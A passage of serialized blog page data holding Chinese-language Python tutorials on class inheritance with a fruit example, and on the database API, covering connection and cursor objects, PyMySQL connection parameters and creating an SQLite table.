在派生类中调用基类的__init__()方法定义类属性",{"type":18,"tag":34,"props":80768,"children":80769},{},[80770,80771,80776,80777,80782,80784,80789,80791,80796,80797,80802,80804,80809,80810,80816,80817,80822,80823,80828,80829,80834,80835,80840],{"type":24,"value":77737},{"type":18,"tag":74,"props":80772,"children":80774},{"className":80773},[],[80775],{"type":24,"value":80052},{"type":24,"value":80054},{"type":18,"tag":74,"props":80778,"children":80780},{"className":80779},[],[80781],{"type":24,"value":80060},{"type":24,"value":80783},"（作为基类），并在该类中定义",{"type":18,"tag":74,"props":80785,"children":80787},{"className":80786},[],[80788],{"type":24,"value":76015},{"type":24,"value":80790},"方法，在该方法中定义一个类属性（用于保存水果默认的颜色），然后在",{"type":18,"tag":74,"props":80792,"children":80794},{"className":80793},[],[80795],{"type":24,"value":80060},{"type":24,"value":80513},{"type":18,"tag":74,"props":80798,"children":80800},{"className":80799},[],[80801],{"type":24,"value":80068},{"type":24,"value":80803},"方法，再创建",{"type":18,"tag":74,"props":80805,"children":80807},{"className":80806},[],[80808],{"type":24,"value":80076},{"type":24,"value":80078},{"type":18,"tag":74,"props":80811,"children":80813},{"className":80812},[],[80814],{"type":24,"value":80815},"Sapodilla",{"type":24,"value":80086},{"type":18,"tag":74,"props":80818,"children":80820},{"className":80819},[],[80821],{"type":24,"value":80060},{"type":24,"value":80093},{"type":18,"tag":74,"props":80824,"children":80826},{"className":80825},[],[80827],{"type":24,"value":80076},{"type":24,"value":80078},{"type":18,"tag":74,"props":80830,"children":80832},{"className":80831},[],[80833],{"type":24,"value":80815},{"type":24,"value":80106},{"type":18,"tag":74,"props":80836,"children":80838},{"className":80837},[],[80839],{"type":24,"value":80068},{"type":24,"value":80113},{"type":18,"tag":287,"props":80842,"children":80844},{"code":80843,"language":28712,"meta":8,"className":28710,"style":8},"class Fruit:                                            # 定义水果类（基类）  \n  \n    def __init__(self, color=\"绿色\"):  \n        Fruit.color = color                             # 定义类属性  \n  \n    def harvest(self, color):  \n        print(\"水果是：\" + self.color + \"的！\")           # 输出的是形式参数color  \n        print(\"水果已经收获……\")  \n        print(\"水果原来是：\" + Fruit.color + \"的！\")      # 输出的是类属性color  \n  \nclass Apple(Fruit):                                     # 定义苹果类（派生类）  \n    color = \"红色\"  \n    def __init__(self):  \n        print(\"我是苹果\")  \n        super().__init__()                              # 调用基类的__init__()方法  \n  \nclass Sapodilla(Fruit):                                 # 定义人参果类（派生类）  \n  \n    def __init__(self, color):  \n        print(\"\\n我是人参果\")  \n        super().__init__(color)                         # 调用基类的__init__()方法  \n  \n    # 重写harvest()方法的代码  \n    def harvest(self, color):  \n        print(\"人参果是：\" + color + \"的！\")              # 输出的是形式参数color  \n        print(\"人参果已经收获……\")  \n        print(\"人参果原来是：\" + Fruit.color + \"的！\")    # 输出的是类属性color  \n  \napple = Apple()                                         # 创建类的实例（苹果）  \napple.harvest(apple.color)                              # 调用harvest()方法  \nsapodilla = Sapodilla(\"白色\")                            # 创建类的实例（人参果）  \nsapodilla.harvest(\"金黄色带紫色条纹\")                     # 调用harvest()方法\n",[80845],{"type":18,"tag":74,"props":80846,"children":80847},{"__ignoreMap":8},[80848,80856,80863,80871,80879,80886,80893,80901,80908,80916,80923,80931,80938,80945,80952,80960,80967,80975,80982,80990,80998,81006,81013,81021,81028,81036,81044,81052,81059,81066,81074,81082],{"type":18,"tag":297,"props":80849,"children":80850},{"class":299,"line":300},[80851],{"type":18,"tag":297,"props":80852,"children":80853},{},[80854],{"type":24,"value":80855},"class Fruit:                                            # 定义水果类（基类）  \n",{"type":18,"tag":297,"props":80857,"children":80858},{"class":299,"line":657},[80859],{"type":18,"tag":297,"props":80860,"children":80861},{},[80862],{"type":24,"value":36783},{"type":18,"tag":297,"props":80864,"children":80865},{"class":299,"line":662},[80866],{"type":18,"tag":297,"props":80867,"children":80868},{},[80869],{"type":24,"value":80870},"    def __init__(self, color=\"绿色\"):  \n",{"type":18,"tag":297,"props":80872,"children":80873},{"class":299,"line":799},[80874],{"type":18,"tag":297,"props":80875,"children":80876},{},[80877],{"type":24,"value":80878},"        Fruit.color = color                             # 定义类属性  \n",{"type":18,"tag":297,"props":80880,"children":80881},{"class":299,"line":808},[80882],{"type":18,"tag":297,"props":80883,"children":80884},{},[80885],{"type":24,"value":36783},{"type":18,"tag":297,"props":80887,"children":80888},{"class":299,"line":817},[80889],{"type":18,"tag":297,"props":80890,"children":80891},{},[80892],{"type":24,"value":80144},{"type":18,"tag":297,"props":80894,"children":80895},{"class":299,"line":826},[80896],{"type":18,"tag":297,"props":80897,"children":80898},{},[80899],{"type":24,"value":80900},"        print(\"水果是：\" + self.color + \"的！\")           # 输出的是形式参数color  \n",{"type":18,"tag":297,"props":80902,"children":80903},{"class":299,"line":4524},[80904],{"type":18,"tag":297,"props":80905,"children":80906},{},[80907],{"type":24,"value":80160},{"type":18,"tag":297,"props":80909,"children":80910},{"class":299,"line":4533},[80911],{"type":18,"tag":297,"props":80912,"children":80913},{},[80914],{"type":24,"value":80915},"        print(\"水果原来是：\" + Fruit.color + \"的！\")      # 输出的是类属性color  \n",{"type":18,"tag":297,"props":80917,"children":80918},{"class":299,"line":4546},[80919],{"type":18,"tag":297,"props":80920,"children":80921},{},[80922],{"type":24,"value":36783},{"type":18,"tag":297,"props":80924,"children":80925},{"class":299,"line":4555},[80926],{"type":18,"tag":297,"props":80927,"children":80928},{},[80929],{"type":24,"value":80930},"class Apple(Fruit):                                     # 定义苹果类（派生类）  \n",{"type":18,"tag":297,"props":80932,"children":80933},{"class":299,"line":4568},[80934],{"type":18,"tag":297,"props":80935,"children":80936},{},[80937],{"type":24,"value":80191},{"type":18,"tag":297,"props":80939,"children":80940},{"class":299,"line":4577},[80941],{"type":18,"tag":297,"props":80942,"children":80943},{},[80944],{"type":24,"value":71734},{"type":18,"tag":297,"props":80946,"children":80947},{"class":299,"line":4590},[80948],{"type":18,"tag":297,"props":80949,"children":80950},{},[80951],{"type":24,"value":80206},{"type":18,"tag":297,"props":80953,"children":80954},{"class":299,"line":4599},[80955],{"type":18,"tag":297,"props":80956,"children":80957},{},[80958],{"type":24,"value":80959},"        super().__init__()                              # 调用基类的__init__()方法  \n",{"type":18,"tag":297,"props":80961,"children":80962},{"class":299,"line":4607},[80963],{"type":18,"tag":297,"props":80964,"children":80965},{},[80966],{"type":24,"value":36783},{"type":18,"tag":297,"props":80968,"children":80969},{"class":299,"line":4616},[80970],{"type":18,"tag":297,"props":80971,"children":80972},{},[80973],{"type":24,"value":80974},"class Sapodilla(Fruit):                                 # 定义人参果类（派生类）  \n",{"type":18,"tag":297,"props":80976,"children":80977},{"class":299,"line":4624},[80978],{"type":18,"tag":297,"props":80979,"children":80980},{},[80981],{"type":24,"value":36783},{"type":18,"tag":297,"props":80983,"children":80984},{"class":299,"line":4633},[80985],{"type":18,"tag":297,"props":80986,"children":80987},{},[80988],{"type":24,"value":80989},"    def __init__(self, color):  \n",{"type":18,"tag":297,"props":80991,"children":80992},{"class":299,"line":4641},[80993],{"type":18,"tag":297,"props":80994,"children":80995},{},[80996],{"type":24,"value":80997},"        print(\"\\n我是人参果\")  \n",{"type":18,"tag":297,"props":80999,"children":81000},{"class":299,"line":4650},[81001],{"type":18,"tag":297,"props":81002,"children":81003},{},[81004],{"type":24,"value":81005},"        super().__init__(color)                         # 调用基类的__init__()方法  \n",{"type":18,"tag":297,"props":81007,"children":81008},{"class":299,"line":4658},[81009],{"type":18,"tag":297,"props":81010,"children":81011},{},[81012],{"type":24,"value":36783},{"type":18,"tag":297,"props":81014,"children":81015},{"class":299,"line":4681},[81016],{"type":18,"tag":297,"props":81017,"children":81018},{},[81019],{"type":24,"value":81020},"    # 重写harvest()方法的代码  \n",{"type":18,"tag":297,"props":81022,"children":81023},{"class":299,"line":4703},[81024],{"type":18,"tag":297,"props":81025,"children":81026},{},[81027],{"type":24,"value":80144},{"type":18,"tag":297,"props":81029,"children":81030},{"class":299,"line":4711},[81031],{"type":18,"tag":297,"props":81032,"children":81033},{},[81034],{"type":24,"value":81035},"        print(\"人参果是：\" + color + \"的！\")              # 输出的是形式参数color  \n",{"type":18,"tag":297,"props":81037,"children":81038},{"class":299,"line":4720},[81039],{"type":18,"tag":297,"props":81040,"children":81041},{},[81042],{"type":24,"value":81043},"        print(\"人参果已经收获……\")  \n",{"type":18,"tag":297,"props":81045,"children":81046},{"class":299,"line":4728},[81047],{"type":18,"tag":297,"props":81048,"children":81049},{},[81050],{"type":24,"value":81051},"        print(\"人参果原来是：\" + Fruit.color + \"的！\")    # 输出的是类属性color  \n",{"type":18,"tag":297,"props":81053,"children":81054},{"class":299,"line":13515},[81055],{"type":18,"tag":297,"props":81056,"children":81057},{},[81058],{"type":24,"value":36783},{"type":18,"tag":297,"props":81060,"children":81061},{"class":299,"line":13553},[81062],{"type":18,"tag":297,"props":81063,"children":81064},{},[81065],{"type":24,"value":80259},{"type":18,"tag":297,"props":81067,"children":81068},{"class":299,"line":13591},[81069],{"type":18,"tag":297,"props":81070,"children":81071},{},[81072],{"type":24,"value":81073},"apple.harvest(apple.color)                              # 调用harvest()方法  \n",{"type":18,"tag":297,"props":81075,"children":81076},{"class":299,"line":13624},[81077],{"type":18,"tag":297,"props":81078,"children":81079},{},[81080],{"type":24,"value":81081},"sapodilla = Sapodilla(\"白色\")                            # 创建类的实例（人参果）  \n",{"type":18,"tag":297,"props":81083,"children":81084},{"class":299,"line":13632},[81085],{"type":18,"tag":297,"props":81086,"children":81087},{},[81088],{"type":24,"value":81089},"sapodilla.harvest(\"金黄色带紫色条纹\")                     # 调用harvest()方法\n",{"type":18,"tag":34,"props":81091,"children":81092},{},[81093],{"type":24,"value":81094},"执行上面的代码，将显示如下图所示的运行结果：",{"type":18,"tag":34,"props":81096,"children":81097},{},[81098],{"type":18,"tag":54,"props":81099,"children":81102},{"alt":81100,"src":81101},"Pasted image 20250809220748","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250809220748.png",[],{"type":18,"tag":651,"props":81104,"children":81105},{},[81106],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":81108},[81109,81114,81118,81128,81132,81133,81137],{"id":75517,"depth":657,"text":75520,"children":81110},[81111,81112,81113],{"id":75538,"depth":662,"text":75541},{"id":75604,"depth":662,"text":75607},{"id":75640,"depth":662,"text":75643},{"id":75765,"depth":657,"text":75768,"children":81115},[81116,81117],{"id":75776,"depth":662,"text":75779},{"id":75944,"depth":662,"text":75947},{"id":76096,"depth":657,"text":81119,"children":81120},"3 创建__init__()方法",[81121,81123,81125,81127],{"id":76543,"depth":662,"text":81122},"1. __init__：实例的 “构造初始化方法”",{"id":76744,"depth":662,"text":81124},"2. __enter__：上下文管理器的 “进入方法”",{"id":76997,"depth":662,"text":81126},"3. __exit__：上下文管理器的 “退出方法”",{"id":77369,"depth":662,"text":77369},{"id":77550,"depth":657,"text":77553,"children":81129},[81130,81131],{"id":77561,"depth":662,"text":77564},{"id":77936,"depth":662,"text":77939},{"id":78645,"depth":657,"text":78648},{"id":79102,"depth":657,"text":79105,"children":81134},[81135,81136],{"id":79126,"depth":662,"text":79129},{"id":79424,"depth":662,"text":79427},{"id":79879,"depth":657,"text":79882,"children":81138},[81139,81140,81141],{"id":79885,"depth":662,"text":79888},{"id":80325,"depth":662,"text":80328},{"id":80462,"depth":662,"text":80465},"content:blog:2025-07-13-python-面向对象编程.md","blog\u002F2025-07-13-python-面向对象编程.md","blog\u002F2025-07-13-python-面向对象编程",{"_path":81146,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":81147,"description":81148,"date":81149,"tags":81150,"body":81151,"_type":672,"_id":84316,"_source":674,"_file":84317,"_stem":84318,"_extension":677},"\u002Fblog\u002F2025-07-12-python-python","Python-操作数据库","Python数据库操作：sqlite3\u002Fsqlalchemy连接、CRUD操作、事务处理与连接池。","2025-07-12",[28616,75509],{"type":15,"children":81152,"toc":84300},[81153,81156,81161,81179,81184,81192,81198,81225,81316,81321,81376,81392,81398,81416,81494,81504,81517,81535,81540,81548,81553,81578,81583,81762,81768,81773,81778,81783,81791,81796,81934,81947,81955,81971,81977,81983,81988,82004,82029,82060,82065,82073,82099,82272,82277,82285,82291,82296,82310,82315,82348,82353,82361,82388,82541,82560,82568,82573,82596,82616,82624,82629,82652,82670,82678,82683,82713,82718,82732,82737,82745,82753,82759,82764,82778,82783,82791,82818,82970,82974,82982,82988,82993,83007,83012,83020,83032,83180,83185,83192,83198,83204,83209,83214,83237,83242,83250,83255,83260,83268,83281,83458,83492,83500,83505,83518,83526,83531,83602,83607,83621,83626,83872,83877,83885,83891,83896,83904,83931,83945,83970,83980,84242,84247,84283,84288,84296],{"type":18,"tag":121,"props":81154,"children":81155},{},[],{"type":18,"tag":19,"props":81157,"children":81159},{"id":81158},"数据库编程接口",[81160],{"type":24,"value":81158},{"type":18,"tag":34,"props":81162,"children":81163},{},[81164,81166,81171,81173,81178],{"type":24,"value":81165},"在项目开发中，数据库应用必不可少。虽然数据库的种类有很多，如SQLite、MySQL、Oracle等，但是它们的功能基本都是一样的，为了对数据库进行统一的操作，大多数语言都提供了简单的、标准化的数据库接口(API)。在Python Database API 2.0规范中，定义了Python数据库API接口的各个部分，如",{"type":18,"tag":105,"props":81167,"children":81168},{},[81169],{"type":24,"value":81170},"模块接口、连接对象、游标对象、类型对象和构造器、DB API的可选扩展以及可选的错误处理机制",{"type":24,"value":81172},"等。下面重点介绍一下",{"type":18,"tag":105,"props":81174,"children":81175},{},[81176],{"type":24,"value":81177},"数据库API接口中的连接对象和游标对象",{"type":24,"value":111},{"type":18,"tag":27,"props":81180,"children":81182},{"id":81181},"连接对象",[81183],{"type":24,"value":81181},{"type":18,"tag":34,"props":81185,"children":81186},{},[81187],{"type":18,"tag":105,"props":81188,"children":81189},{},[81190],{"type":24,"value":81191},"数据库连接对象（Connection Object）主要提供获取数据库游标对象和提交、回滚事务的方法，以及关闭数据库连接。",{"type":18,"tag":3561,"props":81193,"children":81195},{"id":81194},"_1获取连接对象",[81196],{"type":24,"value":81197},"1）获取连接对象",{"type":18,"tag":34,"props":81199,"children":81200},{},[81201,81203,81209,81211,81216,81218,81223],{"type":24,"value":81202},"如何获取连接对象呢？这就需要使用",{"type":18,"tag":74,"props":81204,"children":81206},{"className":81205},[],[81207],{"type":24,"value":81208},"connect()",{"type":24,"value":81210},"函数。该函数有多个参数，具体使用哪个参数，取决于使用的数据库类型。例如，需要访问Oracle数据库和MySQL数据库，则必须同时下载Oracle和MySQL数据库模块。这些模块在获取连接对象时，都需要使用",{"type":18,"tag":74,"props":81212,"children":81214},{"className":81213},[],[81215],{"type":24,"value":81208},{"type":24,"value":81217},"函数。",{"type":18,"tag":74,"props":81219,"children":81221},{"className":81220},[],[81222],{"type":24,"value":81208},{"type":24,"value":81224},"函数常用的参数及说明如表所示。",{"type":18,"tag":431,"props":81226,"children":81227},{},[81228,81249],{"type":18,"tag":435,"props":81229,"children":81230},{},[81231],{"type":18,"tag":439,"props":81232,"children":81233},{},[81234,81242],{"type":18,"tag":443,"props":81235,"children":81236},{"align":3465},[81237],{"type":18,"tag":105,"props":81238,"children":81239},{},[81240],{"type":24,"value":81241},"参    数",{"type":18,"tag":443,"props":81243,"children":81244},{"align":3465},[81245],{"type":18,"tag":105,"props":81246,"children":81247},{},[81248],{"type":24,"value":41526},{"type":18,"tag":459,"props":81250,"children":81251},{},[81252,81265,81277,81290,81303],{"type":18,"tag":439,"props":81253,"children":81254},{},[81255,81260],{"type":18,"tag":466,"props":81256,"children":81257},{"align":3465},[81258],{"type":24,"value":81259},"dsn",{"type":18,"tag":466,"props":81261,"children":81262},{"align":3465},[81263],{"type":24,"value":81264},"数据源名称，给出该参数表示数据库依赖",{"type":18,"tag":439,"props":81266,"children":81267},{},[81268,81273],{"type":18,"tag":466,"props":81269,"children":81270},{"align":3465},[81271],{"type":24,"value":81272},"user",{"type":18,"tag":466,"props":81274,"children":81275},{"align":3465},[81276],{"type":24,"value":220},{"type":18,"tag":439,"props":81278,"children":81279},{},[81280,81285],{"type":18,"tag":466,"props":81281,"children":81282},{"align":3465},[81283],{"type":24,"value":81284},"password",{"type":18,"tag":466,"props":81286,"children":81287},{"align":3465},[81288],{"type":24,"value":81289},"用户密码",{"type":18,"tag":439,"props":81291,"children":81292},{},[81293,81298],{"type":18,"tag":466,"props":81294,"children":81295},{"align":3465},[81296],{"type":24,"value":81297},"host",{"type":18,"tag":466,"props":81299,"children":81300},{"align":3465},[81301],{"type":24,"value":81302},"主机名",{"type":18,"tag":439,"props":81304,"children":81305},{},[81306,81311],{"type":18,"tag":466,"props":81307,"children":81308},{"align":3465},[81309],{"type":24,"value":81310},"database",{"type":18,"tag":466,"props":81312,"children":81313},{"align":3465},[81314],{"type":24,"value":81315},"数据库名称",{"type":18,"tag":34,"props":81317,"children":81318},{},[81319],{"type":24,"value":81320},"例如，使用PyMySQL模块连接MySQL数据库，示例代码如下：",{"type":18,"tag":287,"props":81322,"children":81324},{"code":81323,"language":28712,"meta":8,"className":28710,"style":8},"conn = pymysql.connect(host='localhost',\n                       user='user',\n                       password='passwd',\n                       db='test',\n                       charset='utf8',\n                       cursorclass=pymysql.cursors.DictCursor)\n",[81325],{"type":18,"tag":74,"props":81326,"children":81327},{"__ignoreMap":8},[81328,81336,81344,81352,81360,81368],{"type":18,"tag":297,"props":81329,"children":81330},{"class":299,"line":300},[81331],{"type":18,"tag":297,"props":81332,"children":81333},{},[81334],{"type":24,"value":81335},"conn = pymysql.connect(host='localhost',\n",{"type":18,"tag":297,"props":81337,"children":81338},{"class":299,"line":657},[81339],{"type":18,"tag":297,"props":81340,"children":81341},{},[81342],{"type":24,"value":81343},"                       user='user',\n",{"type":18,"tag":297,"props":81345,"children":81346},{"class":299,"line":662},[81347],{"type":18,"tag":297,"props":81348,"children":81349},{},[81350],{"type":24,"value":81351},"                       password='passwd',\n",{"type":18,"tag":297,"props":81353,"children":81354},{"class":299,"line":799},[81355],{"type":18,"tag":297,"props":81356,"children":81357},{},[81358],{"type":24,"value":81359},"                       db='test',\n",{"type":18,"tag":297,"props":81361,"children":81362},{"class":299,"line":808},[81363],{"type":18,"tag":297,"props":81364,"children":81365},{},[81366],{"type":24,"value":81367},"                       charset='utf8',\n",{"type":18,"tag":297,"props":81369,"children":81370},{"class":299,"line":817},[81371],{"type":18,"tag":297,"props":81372,"children":81373},{},[81374],{"type":24,"value":81375},"                       cursorclass=pymysql.cursors.DictCursor)\n",{"type":18,"tag":96,"props":81377,"children":81378},{},[81379],{"type":18,"tag":34,"props":81380,"children":81381},{},[81382,81384,81390],{"type":24,"value":81383},"说明：上述代码中，",{"type":18,"tag":74,"props":81385,"children":81387},{"className":81386},[],[81388],{"type":24,"value":81389},"pymysql.connect()",{"type":24,"value":81391},"使用的参数与表1中并不完全相同。在使用时，要以具体的数据库模块为准。",{"type":18,"tag":3561,"props":81393,"children":81395},{"id":81394},"_2连接对象的方法",[81396],{"type":24,"value":81397},"2）连接对象的方法",{"type":18,"tag":34,"props":81399,"children":81400},{},[81401,81407,81409,81414],{"type":18,"tag":74,"props":81402,"children":81404},{"className":81403},[],[81405],{"type":24,"value":81406},"Connect()",{"type":24,"value":81408},"函数",{"type":18,"tag":105,"props":81410,"children":81411},{},[81412],{"type":24,"value":81413},"返回连接对象",{"type":24,"value":81415},"。这个对象表示目前和数据库的会话，连接对象支持的方法如下表所示。",{"type":18,"tag":431,"props":81417,"children":81418},{},[81419,81440],{"type":18,"tag":435,"props":81420,"children":81421},{},[81422],{"type":18,"tag":439,"props":81423,"children":81424},{},[81425,81433],{"type":18,"tag":443,"props":81426,"children":81427},{"align":3465},[81428],{"type":18,"tag":105,"props":81429,"children":81430},{},[81431],{"type":24,"value":81432},"方  法  名",{"type":18,"tag":443,"props":81434,"children":81435},{"align":3465},[81436],{"type":18,"tag":105,"props":81437,"children":81438},{},[81439],{"type":24,"value":41526},{"type":18,"tag":459,"props":81441,"children":81442},{},[81443,81455,81468,81481],{"type":18,"tag":439,"props":81444,"children":81445},{},[81446,81450],{"type":18,"tag":466,"props":81447,"children":81448},{"align":3465},[81449],{"type":24,"value":60893},{"type":18,"tag":466,"props":81451,"children":81452},{"align":3465},[81453],{"type":24,"value":81454},"关闭数据库连接",{"type":18,"tag":439,"props":81456,"children":81457},{},[81458,81463],{"type":18,"tag":466,"props":81459,"children":81460},{"align":3465},[81461],{"type":24,"value":81462},"commit()",{"type":18,"tag":466,"props":81464,"children":81465},{"align":3465},[81466],{"type":24,"value":81467},"提交事务",{"type":18,"tag":439,"props":81469,"children":81470},{},[81471,81476],{"type":18,"tag":466,"props":81472,"children":81473},{"align":3465},[81474],{"type":24,"value":81475},"rollback()",{"type":18,"tag":466,"props":81477,"children":81478},{"align":3465},[81479],{"type":24,"value":81480},"回滚事务",{"type":18,"tag":439,"props":81482,"children":81483},{},[81484,81489],{"type":18,"tag":466,"props":81485,"children":81486},{"align":3465},[81487],{"type":24,"value":81488},"cursor()",{"type":18,"tag":466,"props":81490,"children":81491},{"align":3465},[81492],{"type":24,"value":81493},"获取游标对象，操作数据库，如执行DML操作，调用存储过程等",{"type":18,"tag":34,"props":81495,"children":81496},{},[81497,81502],{"type":18,"tag":74,"props":81498,"children":81500},{"className":81499},[],[81501],{"type":24,"value":81462},{"type":24,"value":81503},"方法用于提交事务，事务主要用于处理数据量大、复杂度高的数据。如果操作的是一系列的动作，比如张三给李四转账，有如下2个操作：",{"type":18,"tag":210,"props":81505,"children":81506},{},[81507,81512],{"type":18,"tag":158,"props":81508,"children":81509},{},[81510],{"type":24,"value":81511},"张三账户金额减少",{"type":18,"tag":158,"props":81513,"children":81514},{},[81515],{"type":24,"value":81516},"李四账户金额增加",{"type":18,"tag":34,"props":81518,"children":81519},{},[81520,81522,81527,81528,81533],{"type":24,"value":81521},"这时",{"type":18,"tag":105,"props":81523,"children":81524},{},[81525],{"type":24,"value":81526},"使用事务",{"type":24,"value":68228},{"type":18,"tag":105,"props":81529,"children":81530},{},[81531],{"type":24,"value":81532},"维护数据库的完整性",{"type":24,"value":81534},"，保证2个操作要么全部执行，要么全部不执行。",{"type":18,"tag":27,"props":81536,"children":81538},{"id":81537},"游标对象",[81539],{"type":24,"value":81537},{"type":18,"tag":34,"props":81541,"children":81542},{},[81543],{"type":18,"tag":105,"props":81544,"children":81545},{},[81546],{"type":24,"value":81547},"游标对象（Cursor Object）代表数据库中的游标，用于指示抓取数据操作的上下文，主要提供执行SQL语句、调用存储过程、获取查询结果等方法。",{"type":18,"tag":34,"props":81549,"children":81550},{},[81551],{"type":24,"value":81552},"如何获取游标对象呢？通过使用连接对象的cursor()方法，可以获取到游标对象。游标对象的属性如下所示：",{"type":18,"tag":210,"props":81554,"children":81555},{},[81556,81567],{"type":18,"tag":158,"props":81557,"children":81558},{},[81559,81565],{"type":18,"tag":74,"props":81560,"children":81562},{"className":81561},[],[81563],{"type":24,"value":81564},"description",{"type":24,"value":81566},"：数据库列类型和值的描述信息。",{"type":18,"tag":158,"props":81568,"children":81569},{},[81570,81576],{"type":18,"tag":74,"props":81571,"children":81573},{"className":81572},[],[81574],{"type":24,"value":81575},"rowcount",{"type":24,"value":81577},"：回返结果的行数统计信息，如SELECT、UPDATE、CALLPROC等。",{"type":18,"tag":34,"props":81579,"children":81580},{},[81581],{"type":24,"value":81582},"游标对象的方法如下表所示。",{"type":18,"tag":431,"props":81584,"children":81585},{},[81586,81606],{"type":18,"tag":435,"props":81587,"children":81588},{},[81589],{"type":18,"tag":439,"props":81590,"children":81591},{},[81592,81599],{"type":18,"tag":443,"props":81593,"children":81594},{"align":3465},[81595],{"type":18,"tag":105,"props":81596,"children":81597},{},[81598],{"type":24,"value":81432},{"type":18,"tag":443,"props":81600,"children":81601},{"align":3465},[81602],{"type":18,"tag":105,"props":81603,"children":81604},{},[81605],{"type":24,"value":41526},{"type":18,"tag":459,"props":81607,"children":81608},{},[81609,81628,81640,81658,81671,81684,81697,81710,81723,81736,81749],{"type":18,"tag":439,"props":81610,"children":81611},{},[81612,81623],{"type":18,"tag":466,"props":81613,"children":81614},{"align":3465},[81615,81617,81622],{"type":24,"value":81616},"callproc(procname,",{"type":18,"tag":297,"props":81618,"children":81619},{},[81620],{"type":24,"value":81621},", parameters",{"type":24,"value":29169},{"type":18,"tag":466,"props":81624,"children":81625},{"align":3465},[81626],{"type":24,"value":81627},"调用存储过程，需要数据库支持",{"type":18,"tag":439,"props":81629,"children":81630},{},[81631,81635],{"type":18,"tag":466,"props":81632,"children":81633},{"align":3465},[81634],{"type":24,"value":60893},{"type":18,"tag":466,"props":81636,"children":81637},{"align":3465},[81638],{"type":24,"value":81639},"关闭当前游标",{"type":18,"tag":439,"props":81641,"children":81642},{},[81643,81653],{"type":18,"tag":466,"props":81644,"children":81645},{"align":3465},[81646,81648,81652],{"type":24,"value":81647},"execute(operation",{"type":18,"tag":297,"props":81649,"children":81650},{},[81651],{"type":24,"value":81621},{"type":24,"value":29169},{"type":18,"tag":466,"props":81654,"children":81655},{"align":3465},[81656],{"type":24,"value":81657},"执行数据库操作，SQL语句或者数据库命令",{"type":18,"tag":439,"props":81659,"children":81660},{},[81661,81666],{"type":18,"tag":466,"props":81662,"children":81663},{"align":3465},[81664],{"type":24,"value":81665},"executemany(operation, seq_of_params)",{"type":18,"tag":466,"props":81667,"children":81668},{"align":3465},[81669],{"type":24,"value":81670},"用于批量操作，如批量更新",{"type":18,"tag":439,"props":81672,"children":81673},{},[81674,81679],{"type":18,"tag":466,"props":81675,"children":81676},{"align":3465},[81677],{"type":24,"value":81678},"fetchone()",{"type":18,"tag":466,"props":81680,"children":81681},{"align":3465},[81682],{"type":24,"value":81683},"获取查询结果集中的下一条记录",{"type":18,"tag":439,"props":81685,"children":81686},{},[81687,81692],{"type":18,"tag":466,"props":81688,"children":81689},{"align":3465},[81690],{"type":24,"value":81691},"fetchmany(size)",{"type":18,"tag":466,"props":81693,"children":81694},{"align":3465},[81695],{"type":24,"value":81696},"获取指定数量的记录",{"type":18,"tag":439,"props":81698,"children":81699},{},[81700,81705],{"type":18,"tag":466,"props":81701,"children":81702},{"align":3465},[81703],{"type":24,"value":81704},"fetchall()",{"type":18,"tag":466,"props":81706,"children":81707},{"align":3465},[81708],{"type":24,"value":81709},"获取结果集的所有记录",{"type":18,"tag":439,"props":81711,"children":81712},{},[81713,81718],{"type":18,"tag":466,"props":81714,"children":81715},{"align":3465},[81716],{"type":24,"value":81717},"nextset()",{"type":18,"tag":466,"props":81719,"children":81720},{"align":3465},[81721],{"type":24,"value":81722},"跳至下一个可用的结果集",{"type":18,"tag":439,"props":81724,"children":81725},{},[81726,81731],{"type":18,"tag":466,"props":81727,"children":81728},{"align":3465},[81729],{"type":24,"value":81730},"arraysize",{"type":18,"tag":466,"props":81732,"children":81733},{"align":3465},[81734],{"type":24,"value":81735},"指定使用fetchmany()获取的行数，默认为1",{"type":18,"tag":439,"props":81737,"children":81738},{},[81739,81744],{"type":18,"tag":466,"props":81740,"children":81741},{"align":3465},[81742],{"type":24,"value":81743},"setinputsizes(sizes)",{"type":18,"tag":466,"props":81745,"children":81746},{"align":3465},[81747],{"type":24,"value":81748},"设置在调用execute*()方法时分配的内存区域大小",{"type":18,"tag":439,"props":81750,"children":81751},{},[81752,81757],{"type":18,"tag":466,"props":81753,"children":81754},{"align":3465},[81755],{"type":24,"value":81756},"setoutputsize(sizes)",{"type":18,"tag":466,"props":81758,"children":81759},{"align":3465},[81760],{"type":24,"value":81761},"设置列缓冲区大小，对大数据列（如LONGS和BLOBS）尤其有用",{"type":18,"tag":19,"props":81763,"children":81765},{"id":81764},"使用sqlite",[81766],{"type":24,"value":81767},"使用SQLite",{"type":18,"tag":34,"props":81769,"children":81770},{},[81771],{"type":24,"value":81772},"与许多其他数据库管理系统不同，SQLite不是一个客户端\u002F服务器结构的数据库引擎，而是一种嵌入式数据库，它的数据库就是一个文件。SQLite将整个数据库，包括定义、表、索引以及数据本身，作为一个单独的、可跨平台使用的文件存储在主机中。由于SQLite本身是C写的，而且体积很小，所以，经常被集成到各种应用程序中。Python就内置了SQLite3，所以在Python中使用SQLite，不需要安装任何模块，直接使用。",{"type":18,"tag":27,"props":81774,"children":81776},{"id":81775},"创建数据库文件",[81777],{"type":24,"value":81775},{"type":18,"tag":34,"props":81779,"children":81780},{},[81781],{"type":24,"value":81782},"由于Python中已经内置了SQLite3，所以可以直接使用import语句导入SQLite3模块。Python操作数据库的通用的流程如图所示。",{"type":18,"tag":34,"props":81784,"children":81785},{},[81786],{"type":18,"tag":54,"props":81787,"children":81790},{"alt":81788,"src":81789},"Pasted image 20250721100354","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721100354.png",[],{"type":18,"tag":34,"props":81792,"children":81793},{},[81794],{"type":24,"value":81795},"示例：创建一个info.db的数据库文件，然后执行SQL语句创建一个user（用户表），user表包含id和name两个字段。具体代码如下：",{"type":18,"tag":287,"props":81797,"children":81799},{"code":81798,"language":28712,"meta":8,"className":28710,"style":8},"import sqlite3\n\n# 连接到SQLite数据库\n# 数据库文件是info.db，如果文件不存在，会自动在当前目录创建\nconn = sqlite3.connect('info.db')\n\n# 创建一个Cursor\ncursor = conn.cursor()\n\n# 执行一条SQL语句，创建user表                   \ncursor.execute('create  table  user (id int(10)  primary key, name varchar(20))')\n\n# 关闭游标\ncursor.close()\n\n# 